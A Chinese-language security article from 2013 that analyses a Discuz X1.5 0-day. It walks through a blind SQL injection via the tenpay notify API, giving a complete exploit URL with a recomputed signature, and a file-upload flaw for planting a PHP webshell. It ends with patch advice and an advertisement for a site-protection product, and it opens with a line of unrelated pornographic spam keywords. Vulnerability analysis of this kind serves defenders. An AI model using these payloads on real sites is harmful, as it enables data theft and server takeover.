国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例 網絡威脅 系統(tǒng)安全 應用安全 數據安全 云安全
當前位置: 主頁 > 信息安全 > 移動安全 >

安全研究報告:解析Discuz X1.5 0Day漏洞

時間:2013-03-11 15:12來源: 點擊:
Discuz X1.5最近被爆出0Day,利用該0Day可以直接獲取WebShell,危害等級高,獲取服務器的管理權限;下面我們一起來看看漏洞成因。 安全研究報告:解析Discuz X1.5 0Day漏洞
TagsPHP(12)注入漏洞(26)Discuz(3)params(2)安(53)  

  Discuz X1.5最近被爆出0Day,利用該0Day可以直接獲取WebShell,危害等級高,獲取的管理權限;下面我們一起來看看漏洞成因。

  在api/trade/notify_credit.php的27行處,程序將$notifydata[‘order_no’]直接賦給$orderid,并帶入到查詢。

  接著往上看,$notifydata是如何產生的,發(fā)現(xiàn)如下:

  $notifydata 是由函數trade_notifycheck函數返回的數組變量,在api/trade/api_tenpay.php中432行,

  正常情況下,Discuz對用戶傳入的變量都有進行轉義處理,但在api_tenpay.php中,卻是重新獲取$_GET,$_POST變量來進行處理,而且沒有進行任何過濾處理,

  顯然在上面的參數獲取和傳遞過程中,沒有對變量進行任何過濾,因此攻擊者可以通過對mch_vno變量進行惡意構造,從而控制$orderid,最后導致在數據庫查詢處產生注入漏洞。

  下面來進行有效的惡意攻擊代碼構造:

  由于Discuz對提交的參數會有個校驗值,因此我們需要重新計算自己的校驗值:

  $resHandler->isTenpaySign()

  為了讓程序按照我們的流程執(zhí)行,在這里我們需要對這幾個變量賦值:

  attach=tenpay /*包含漏洞所在文件*/

  retcode=0 /*使$notifydata['validator']=1*/

  mch_vno=$sql_exp /*惡意構造,直接帶入數據庫查詢的語句*/

  因此我們自己構造的校驗值計算如下:

  sign= md5(“key=&attach=tenpay&mch_vno=$sql_exp&retcode=0”),

  由于該注入過程中沒有顯錯信息,只能利用盲注來進行密碼的猜解,為了達到更好地演示效果,我們這里將最終帶入數據庫的SQL語句顯示出來,在source/class/class_core.php的663行中,進行如下修改:

  構造的Sql_Exp:

  api/trade/notify_credit.php?attach=tenpay&retcode=0&mch_vno=%2527%

  2Band%2B%25271%2527%253D%25272%2527%2BUNION%2BSELECT%2B0%252C1%252C0%252C0%252C0%252C0%

  252C0%252C0%252C0%252C0%2BFROM%2Bpre_common_member_field_home%2BWHERE%2Buid%253D1%2BAND%

  2B%2527%2527%253D%2527&sign=233afe848a5d4b994871dad94901fd4e

  在本地演示的效果如下:

  顯然我們已經成功的控制參數mch_vno,并能產生明顯的SQL注入攻擊。

  下面我們來看看/api/manyou/my.php的上傳漏洞:

  在my.php中,首選創(chuàng)建一個繼承Manyou的類My,然后創(chuàng)建一個My的實例,接著調用Manyou父類的run()函數,我們跟進run()函數查看:

  在run()函數中,程序會調用_processServerRequest()對提交的參數進行處理,而該函數會獲取客戶端POST提交的參數,根據提交的參數獲取相應的擴展接口,

  而在my.php文件中的onVideoAuthAuth的函數中,由于沒有對文件的擴展名進行判斷,因此我們可以直接構造php一句話,利用該函數寫入一句話,因此這樣我們需要提交的參數構造如下:

  構造的Upload_Exp:

  $module = ‘video’;

  $method = ‘authauth’;

  $params=array(0=>1,1=>base64_encode(“”),2=>”php”);

  $params=serialize($params);

  但是由于上傳成功后,Discuz并不會返回shell的文件名的和路徑,因此需要借助注入漏洞來猜解文件的路徑,因此上傳漏洞的成功利用還需要借助注入的輔助。

  安全建議:

  1.下載官方補丁或下載最新的Discuz版本程序使用;

  2.直接用網站保護系統(tǒng),可以無需補丁。

  對于沒有第一時間打上補丁的網站,很容易成為的攻擊目標,從而導致網站被或數據被刪除,或者淪為黑客的肉雞;筆者有幸拿到了Nevel網站保護系統(tǒng)的邀請碼,對于加入Nevel保護的網站,則完全不用擔心這些問題,因為當攻擊者嘗試提交這些的時候,Nevel會檢測到這些攻擊代碼,當檢測到這些代碼的時候直接將這些數據丟棄,并不會傳到你的服務器進行響應,也就不會產生安全,更不會被入侵;下面是對加入Nevel保護的網站進行攻擊的效果圖,如下圖:

  (責任編輯:鉬鐵)

------分隔線----------------------------

推薦內容